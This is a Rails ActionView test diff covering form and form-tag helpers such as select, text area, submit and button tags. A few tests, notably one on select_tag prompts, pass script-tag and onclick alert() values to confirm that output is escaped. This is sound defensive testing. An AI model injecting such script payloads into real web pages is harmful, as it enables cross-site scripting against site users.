+  def test_options_for_select_with_special_characters
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\" onclick=\"alert(&quot;&lt;code&gt;&quot;)\">&lt;Denmark&gt;</option>",
+      options_for_select([ [ "<Denmark>", { onclick: %(alert("<code>")) } ] ])
+    )
+  end
+
+  def test_option_html_attributes_with_no_array_element
+    assert_equal({}, option_html_attributes("foo"))
+  end
+
+  def test_option_html_attributes_without_hash
+    assert_equal({}, option_html_attributes([ "foo", "bar" ]))
+  end
+
+  def test_option_html_attributes_with_single_element_hash
+    assert_equal(
+      { class: "fancy" },
+      option_html_attributes([ "foo", "bar", { class: "fancy" } ])
+    )
+  end
+
+  def test_option_html_attributes_with_multiple_element_hash
+    assert_equal(
+      { :class => "fancy", "onclick" => "alert('Hello World');" },
+      option_html_attributes([ "foo", "bar", { :class => "fancy", "onclick" => "alert('Hello World');" } ])
+    )
+  end
+
+  def test_option_html_attributes_with_multiple_hashes
+    assert_equal(
+      { :class => "fancy", "onclick" => "alert('Hello World');" },
+      option_html_attributes([ "foo", "bar", { class: "fancy" }, { "onclick" => "alert('Hello World');" } ])
+    )
+  end
+
+  def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
+    options1 = { class: "fancy" }
+    options2 = { onclick: "alert('Hello World');" }
+    option_html_attributes([ "foo", "bar", options1, options2 ])
+
+    assert_equal({ class: "fancy" }, options1)
+    assert_equal({ onclick: "alert('Hello World');" }, options2)
+  end
+
+  def test_grouped_collection_select
+    @post = Post.new
+    @post.origin = "dk"
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+    )
+  end
+
+  def test_grouped_collection_select_with_selected
+    @post = Post.new
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, selected: "dk")
+    )
+  end
+
+  def test_grouped_collection_select_with_disabled_value
+    @post = Post.new
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, disabled: "dk")
+    )
+  end
+
+  def test_grouped_collection_select_under_fields_for
+    @post = Post.new
+    @post.origin = "dk"
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.grouped_collection_select("origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+    end
+
+    assert_dom_equal(
+      %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+      output_buffer
+    )
+  end
+
+  private
+
+    def dummy_posts
+      [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+        Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+        Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
+    end
+
+    def dummy_continents
+      [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
+        Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
+    end
+end
diff --git a/actionview/test/template/form_tag_helper_test.rb b/actionview/test/template/form_tag_helper_test.rb
new file mode 100644
index 0000000000..62b67b0435
--- /dev/null
+++ b/actionview/test/template/form_tag_helper_test.rb
@@ -0,0 +1,748 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class FormTagHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
+  tests ActionView::Helpers::FormTagHelper
+
+  def setup
+    super
+    @controller = BasicController.new
+  end
+
+  def hidden_fields(options = {})
+    method = options[:method]
+    enforce_utf8 = options.fetch(:enforce_utf8, true)
+
+    "".dup.tap do |txt|
+      if enforce_utf8
+        txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+      end
+
+      if method && !%w(get post).include?(method.to_s)
+        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+      end
+    end
+  end
+
+  def form_text(action = "http://www.example.com", options = {})
+    remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
+
+    method = method.to_s == "get" ? "get" : "post"
+
+    txt =  %{<form accept-charset="UTF-8" action="#{action}"}.dup
+    txt << %{ enctype="multipart/form-data"} if enctype
+    txt << %{ data-remote="true"} if remote
+    txt << %{ class="#{html_class}"} if html_class
+    txt << %{ id="#{id}"} if id
+    txt << %{ method="#{method}">}
+  end
+
+  def whole_form(action = "http://www.example.com", options = {})
+    out = form_text(action, options) + hidden_fields(options)
+
+    if block_given?
+      out << yield << "</form>"
+    end
+
+    out
+  end
+
+  def url_for(options)
+    if options.is_a?(Hash)
+      "http://www.example.com"
+    else
+      super
+    end
+  end
+
+  VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
+
+  def test_check_box_tag
+    actual = check_box_tag "admin"
+    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_check_box_tag_disabled
+    actual = check_box_tag "admin", "1", false, disabled: true
+    expected = %(<input id="admin" disabled="disabled" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_check_box_tag_default_checked
+    actual = check_box_tag "admin", "1", true
+    expected = %(<input id="admin" checked="checked" name="admin" type="checkbox" value="1" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_check_box_tag_id_sanitized
+    label_elem = root_elem(check_box_tag("project[2][admin]"))
+    assert_match VALID_HTML_ID, label_elem["id"]
+  end
+
+  def test_form_tag
+    actual = form_tag
+    expected = whole_form
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_multipart
+    actual = form_tag({}, "multipart" => true)
+    expected = whole_form("http://www.example.com", enctype: true)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_patch
+    actual = form_tag({}, method: :patch)
+    expected = whole_form("http://www.example.com", method: :patch)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_put
+    actual = form_tag({}, method: :put)
+    expected = whole_form("http://www.example.com", method: :put)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_method_delete
+    actual = form_tag({}, method: :delete)
+
+    expected = whole_form("http://www.example.com", method: :delete)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_remote
+    actual = form_tag({}, remote: true)
+
+    expected = whole_form("http://www.example.com", remote: true)
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_with_remote_false
+    actual = form_tag({}, remote: false)
+
+    expected = whole_form
+    assert_dom_equal expected, actual
+  end
+
+  def test_form_tag_enforce_utf8_true
+    actual = form_tag({}, enforce_utf8: true)
+    expected = whole_form("http://www.example.com", enforce_utf8: true)
+    assert_dom_equal expected, actual
+    assert actual.html_safe?
+  end
+
+  def test_form_tag_enforce_utf8_false
+    actual = form_tag({}, enforce_utf8: false)
+    expected = whole_form("http://www.example.com", enforce_utf8: false)
+    assert_dom_equal expected, actual
+    assert actual.html_safe?
+  end
+
+  def test_form_tag_with_block_in_erb
+    output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
+
+    expected = whole_form { "Hello world!" }
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_tag_with_block_and_method_in_erb
+    output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
+
+    expected = whole_form("http://www.example.com", method: "put") do
+      "Hello world!"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_hidden_field_tag
+    actual = hidden_field_tag "id", 3
+    expected = %(<input id="id" name="id" type="hidden" value="3" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_hidden_field_tag_id_sanitized
+    input_elem = root_elem(hidden_field_tag("item[][title]"))
+    assert_match VALID_HTML_ID, input_elem["id"]
+  end
+
+  def test_file_field_tag
+    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
+  end
+
+  def test_file_field_tag_with_options
+    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", class: "pix")
+  end
+
+  def test_password_field_tag
+    actual = password_field_tag
+    expected = %(<input id="password" name="password" type="password" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_multiple_field_tags_with_same_options
+    options = { class: "important" }
+    assert_dom_equal %(<input name="title" type="file" id="title" class="important"/>), file_field_tag("title", options)
+    assert_dom_equal %(<input type="password" name="title" id="title" value="Hello!" class="important" />), password_field_tag("title", "Hello!", options)
+    assert_dom_equal %(<input type="text" name="title" id="title" value="Hello!" class="important" />), text_field_tag("title", "Hello!", options)
+  end
+
+  def test_radio_button_tag
+    actual = radio_button_tag "people", "david"
+    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("num_people", 5)
+    expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
+    expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
+    expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("person[gender]", "m")
+    expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
+    assert_dom_equal expected, actual
+
+    actual = radio_button_tag("ctrlname", "apache2.2")
+    expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag
+    actual = select_tag "people", raw("<option>david</option>")
+    expected = %(<select id="people" name="people"><option>david</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_multiple
+    actual = select_tag "colors", raw("<option>Red</option><option>Blue</option><option>Green</option>"), multiple: true
+    expected = %(<select id="colors" multiple="multiple" name="colors[]"><option>Red</option><option>Blue</option><option>Green</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_disabled
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), disabled: true
+    expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_id_sanitized
+    input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
+    assert_match VALID_HTML_ID, input_elem["id"]
+  end
+
+  def test_select_tag_with_include_blank
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), include_blank: true
+    expected = %(<select id="places" name="places"><option value="" label=" "></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_include_blank_false
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), include_blank: false
+    expected = %(<select id="places" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_include_blank_string
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), include_blank: "Choose"
+    expected = %(<select id="places" name="places"><option value="">Choose</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_prompt
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), prompt: "string"
+    expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_escapes_prompt
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), prompt: "<script>alert(1337)</script>"
+    expected = %(<select id="places" name="places"><option value="">&lt;script&gt;alert(1337)&lt;/script&gt;</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_prompt_and_include_blank
+    actual = select_tag "places", raw("<option>Home</option><option>Work</option><option>Pub</option>"), prompt: "string", include_blank: true
+    expected = %(<select name="places" id="places"><option value="">string</option><option value="" label=" "></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_nil_option_tags_and_include_blank
+    actual = select_tag "places", nil, include_blank: true
+    expected = %(<select id="places" name="places"><option value="" label=" "></option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_select_tag_with_nil_option_tags_and_prompt
+    actual = select_tag "places", nil, prompt: "string"
+    expected = %(<select id="places" name="places"><option value="">string</option></select>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_size_string
+    actual = text_area_tag "body", "hello world", "size" => "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_size_symbol
+    actual = text_area_tag "body", "hello world", size: "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
+    actual = text_area_tag "body", "hello world", size: 20
+    expected = %(<textarea id="body" name="body">\nhello world</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_id_sanitized
+    input_elem = root_elem(text_area_tag("item[][description]"))
+    assert_match VALID_HTML_ID, input_elem["id"]
+  end
+
+  def test_text_area_tag_escape_content
+    actual = text_area_tag "body", "<b>hello world</b>", size: "20x40"
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n&lt;b&gt;hello world&lt;/b&gt;</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_unescaped_content
+    actual = text_area_tag "body", "<b>hello world</b>", size: "20x40", escape: false
+    expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_area_tag_unescaped_nil_content
+    actual = text_area_tag "body", nil, escape: false
+    expected = %(<textarea id="body" name="body">\n</textarea>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag
+    actual = text_field_tag "title", "Hello!"
+    expected = %(<input id="title" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_class_string
+    actual = text_field_tag "title", "Hello!", "class" => "admin"
+    expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_size_symbol
+    actual = text_field_tag "title", "Hello!", size: 75
+    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_with_ac_parameters
+    actual = text_field_tag "title", ActionController::Parameters.new(key: "value")
+    expected = %(<input id="title" name="title" type="text" value="{&quot;key&quot;=&gt;&quot;value&quot;}" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_size_string
+    actual = text_field_tag "title", "Hello!", "size" => "75"
+    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_maxlength_symbol
+    actual = text_field_tag "title", "Hello!", maxlength: 75
+    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_maxlength_string
+    actual = text_field_tag "title", "Hello!", "maxlength" => "75"
+    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_disabled
+    actual = text_field_tag "title", "Hello!", disabled: true
+    expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_with_placeholder_option
+    actual = text_field_tag "title", "Hello!", placeholder: "Enter search term..."
+    expected = %(<input id="title" name="title" placeholder="Enter search term..." type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_with_multiple_options
+    actual = text_field_tag "title", "Hello!", size: 70, maxlength: 80
+    expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_id_sanitized
+    input_elem = root_elem(text_field_tag("item[][title]"))
+    assert_match VALID_HTML_ID, input_elem["id"]
+  end
+
+  def test_label_tag_without_text
+    actual = label_tag "title"
+    expected = %(<label for="title">Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_with_symbol
+    actual = label_tag :title
+    expected = %(<label for="title">Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_with_text
+    actual = label_tag "title", "My Title"
+    expected = %(<label for="title">My Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_class_string
+    actual = label_tag "title", "My Title", "class" => "small_label"
+    expected = %(<label for="title" class="small_label">My Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_id_sanitized
+    label_elem = root_elem(label_tag("item[title]"))
+    assert_match VALID_HTML_ID, label_elem["for"]
+  end
+
+  def test_label_tag_with_block
+    assert_dom_equal("<label>Blocked</label>", label_tag { "Blocked" })
+  end
+
+  def test_label_tag_with_block_and_argument
+    output = label_tag("clock") { "Grandfather" }
+    assert_dom_equal('<label for="clock">Grandfather</label>', output)
+  end
+
+  def test_label_tag_with_block_and_argument_and_options
+    output = label_tag("clock", id: "label_clock") { "Grandfather" }
+    assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
+  end
+
+  def test_boolean_options
+    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, "disabled" => true, :readonly => "yes")
+    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, disabled: false, readonly: nil)
+    assert_dom_equal %(<input type="checkbox" />), tag(:input, type: "checkbox", checked: false)
+    assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", raw("<option>david</option>"), multiple: true)
+    assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", raw("<option>david</option>"), multiple: true)
+    assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", raw("<option>david</option>"), multiple: nil)
+  end
+
+  def test_stringify_symbol_keys
+    actual = text_field_tag "title", "Hello!", id: "admin"
+    expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_submit_tag
+    assert_dom_equal(
+      %(<input name='commit' data-disable-with="Saving..." onclick="alert(&#39;hello!&#39;)" type="submit" value="Save" />),
+      submit_tag("Save", onclick: "alert('hello!')", data: { disable_with: "Saving..." })
+    )
+  end
+
+  def test_empty_submit_tag
+    assert_dom_equal(
+      %(<input data-disable-with="Save" name='commit' type="submit" value="Save" />),
+      submit_tag("Save")
+    )
+  end
+
+  def test_empty_submit_tag_with_opt_out
+    ActionView::Base.automatically_disable_submit_tag = false
+    assert_dom_equal(
+      %(<input name='commit' type="submit" value="Save" />),
+      submit_tag("Save")
+    )
+  ensure
+    ActionView::Base.automatically_disable_submit_tag = true
+  end
+
+  def test_submit_tag_having_data_disable_with_string
+    assert_dom_equal(
+      %(<input data-disable-with="Processing..." data-confirm="Are you sure?" name='commit' type="submit" value="Save" />),
+      submit_tag("Save", "data-disable-with" => "Processing...", "data-confirm" => "Are you sure?")
+    )
+  end
+
+  def test_submit_tag_having_data_disable_with_boolean
+    assert_dom_equal(
+      %(<input data-confirm="Are you sure?" name='commit' type="submit" value="Save" />),
+      submit_tag("Save", "data-disable-with" => false, "data-confirm" => "Are you sure?")
+    )
+  end
+
+  def test_submit_tag_having_data_hash_disable_with_boolean
+    assert_dom_equal(
+      %(<input data-confirm="Are you sure?" name='commit' type="submit" value="Save" />),
+      submit_tag("Save", data: { confirm: "Are you sure?", disable_with: false })
+    )
+  end
+
+  def test_submit_tag_with_no_onclick_options
+    assert_dom_equal(
+      %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
+      submit_tag("Save", data: { disable_with: "Saving..." })
+    )
+  end
+
+  def test_submit_tag_with_confirmation
+    assert_dom_equal(
+      %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" data-disable-with="Save" />),
+      submit_tag("Save", data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_submit_tag_doesnt_have_data_disable_with_twice
+    assert_equal(
+      %(<input type="submit" name="commit" value="Save" data-confirm="Are you sure?" data-disable-with="Processing..." />),
+      submit_tag("Save", "data-disable-with" => "Processing...", "data-confirm" => "Are you sure?")
+    )
+  end
+
+  def test_submit_tag_doesnt_have_data_disable_with_twice_with_hash
+    assert_equal(
+      %(<input type="submit" name="commit" value="Save" data-disable-with="Processing..." />),
+      submit_tag("Save", data: { disable_with: "Processing..." })
+    )
+  end
+
+  def test_submit_tag_with_symbol_value
+    assert_dom_equal(
+      %(<input data-disable-with="Save" name='commit' type="submit" value="Save" />),
+      submit_tag(:Save)
+    )
+  end
+
+  def test_button_tag
+    assert_dom_equal(
+      %(<button name="button" type="submit">Button</button>),
+      button_tag
+    )
+  end
+
+  def test_button_tag_with_submit_type
+    assert_dom_equal(
+      %(<button name="button" type="submit">Save</button>),
+      button_tag("Save", type: "submit")
+    )
+  end
+
+  def test_button_tag_with_button_type
+    assert_dom_equal(
+      %(<button name="button" type="button">Button</button>),
+      button_tag("Button", type: "button")
+    )
+  end
+
+  def test_button_tag_with_reset_type
+    assert_dom_equal(
+      %(<button name="button" type="reset">Reset</button>),
+      button_tag("Reset", type: "reset")
+    )
+  end
+
+  def test_button_tag_with_disabled_option
+    assert_dom_equal(
+      %(<button name="button" type="reset" disabled="disabled">Reset</button>),
+      button_tag("Reset", type: "reset", disabled: true)
+    )
+  end
+
+  def test_button_tag_escape_content
+    assert_dom_equal(
+      %(<button name="button" type="reset" disabled="disabled">&lt;b&gt;Reset&lt;/b&gt;</button>),
+      button_tag("<b>Reset</b>", type: "reset", disabled: true)
+    )
+  end
+
+  def test_button_tag_with_block
+    assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { "Content" })
+  end
+
+  def test_button_tag_with_block_and_options
+    output = button_tag(name: "temptation", type: "button") { content_tag(:strong, "Do not press me") }
+    assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
+  end
+
+  def test_button_tag_defaults_with_block_and_options
+    output = button_tag(name: "temptation", value: "within") { content_tag(:strong, "Do not press me") }
+    assert_dom_equal('<button name="temptation" value="within" type="submit" ><strong>Do not press me</strong></button>', output)
+  end
+
+  def test_button_tag_with_confirmation
+    assert_dom_equal(
+      %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
+      button_tag("Save", type: "submit", data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_button_tag_with_data_disable_with_option
+    assert_dom_equal(
+      %(<button name="button" type="submit" data-disable-with="Please wait...">Checkout</button>),
+      button_tag("Checkout", data: { disable_with: "Please wait..." })
+    )
+  end
+
+  def test_image_submit_tag_with_confirmation
+    assert_dom_equal(
+      %(<input alt="Save" type="image" src="/images/save.gif" data-confirm="Are you sure?" />),
+      image_submit_tag("save.gif", data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_color_field_tag
+    expected = %{<input id="car" name="car" type="color" />}
+    assert_dom_equal(expected, color_field_tag("car"))
+  end
+
+  def test_search_field_tag
+    expected = %{<input id="query" name="query" type="search" />}
+    assert_dom_equal(expected, search_field_tag("query"))
+  end
+
+  def test_telephone_field_tag
+    expected = %{<input id="cell" name="cell" type="tel" />}
+    assert_dom_equal(expected, telephone_field_tag("cell"))
+  end
+
+  def test_date_field_tag
+    expected = %{<input id="cell" name="cell" type="date" />}
+    assert_dom_equal(expected, date_field_tag("cell"))
+  end
+
+  def test_time_field_tag
+    expected = %{<input id="cell" name="cell" type="time" />}
+    assert_dom_equal(expected, time_field_tag("cell"))
+  end
+
+  def test_datetime_field_tag
+    expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
+    assert_dom_equal(expected, datetime_field_tag("appointment"))
+  end
+
+  def test_datetime_local_field_tag
+    expected = %{<input id="appointment" name="appointment" type="datetime-local" />}
+    assert_dom_equal(expected, datetime_local_field_tag("appointment"))
+  end
+
+  def test_month_field_tag
+    expected = %{<input id="birthday" name="birthday" type="month" />}
+    assert_dom_equal(expected, month_field_tag("birthday"))
+  end
+
+  def test_week_field_tag
+    expected = %{<input id="birthday" name="birthday" type="week" />}
+    assert_dom_equal(expected, week_field_tag("birthday"))
+  end
+
+  def test_url_field_tag
+    expected = %{<input id="homepage" name="homepage" type="url" />}
+    assert_dom_equal(expected, url_field_tag("homepage"))
+  end
+
+  def test_email_field_tag
+    expected = %{<input id="address" name="address" type="email" />}
+    assert_dom_equal(expected, email_field_tag("address"))
+  end
+
+  def test_number_field_tag
+    expected = %{<input name="quantity" max="9" id="quantity" type="number" min="1" />}
+    assert_dom_equal(expected, number_field_tag("quantity", nil, in: 1...10))
+  end
+
+  def test_range_input_tag
+    expected = %{<input name="volume" step="0.1" max="11" id="volume" type="range" min="0" />}
+    assert_dom_equal(expected, range_field_tag("volume", nil, in: 0..11, step: 0.1))
+  end
+
+  def test_field_set_tag_in_erb
+    output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
+
+    expected = %(<fieldset>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
+
+    expected = %(<fieldset class="format">Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag %>")
+
+    expected = %(<fieldset></fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    output_buffer = render_erb("<%= field_set_tag('You legend!') %>")
+
+    expected = %(<fieldset><legend>You legend!</legend></fieldset>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_text_area_tag_options_symbolize_keys_side_effects
+    options = { option: "random_option" }
+    text_area_tag "body", "hello world", options
+    assert_equal({ option: "random_option" }, options)
+  end
+
+  def test_submit_tag_options_symbolize_keys_side_effects
+    options = { option: "random_option" }
+    submit_tag "submit value", options
+    assert_equal({ option: "random_option" }, options)
+  end
+
+  def test_button_tag_options_symbolize_keys_side_effects
+    options = { option: "random_option" }
+    button_tag "button value", options
+    assert_equal({ option: "random_option" }, options)
+  end
+
+  def test_image_submit_tag_options_symbolize_keys_side_effects
+    options = { option: "random_option" }
+    image_submit_tag "submit source", options
+    assert_equal({ option: "random_option" }, options)
+  end
+
+  def test_image_label_tag_options_symbolize_keys_side_effects
+    options = { option: "random_option" }
+    label_tag "submit source", "title", options
+    assert_equal({ option: "random_option" }, options)
+  end
+
+  def protect_against_forgery?
+    false
+  end
+
+  private
+
+    def root_elem(rendered_content)
+      Nokogiri::HTML::DocumentFragment.parse(rendered_content).children.first # extract from nodeset
+    end
+end
diff --git a/actionview/test/template/html_test.rb b/actionview/test/template/html_test.rb
new file mode 100644
index 0000000000..5cdff74d60
--- /dev/null
+++ b/actionview/test/template/html_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class HTMLTest < ActiveSupport::TestCase
+  test "formats returns symbol for recognized MIME type" do
+    assert_equal [:html], ActionView::Template::HTML.new("", :html).formats
+  end
+
+  test "formats returns string for recognized MIME type when MIME does not have symbol" do
+    foo = Mime::Type.lookup("foo")
+    assert_nil foo.to_sym
+    assert_equal ["foo"], ActionView::Template::HTML.new("", foo).formats
+  end
+
+  test "formats returns string for unknown MIME type" do
+    assert_equal ["foo"], ActionView::Template::HTML.new("", "foo").formats
+  end
+end
diff --git a/actionview/test/template/javascript_helper_test.rb b/actionview/test/template/javascript_helper_test.rb
new file mode 100644
index 0000000000..4478c9f4ab
--- /dev/null
+++ b/actionview/test/template/javascript_helper_test.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
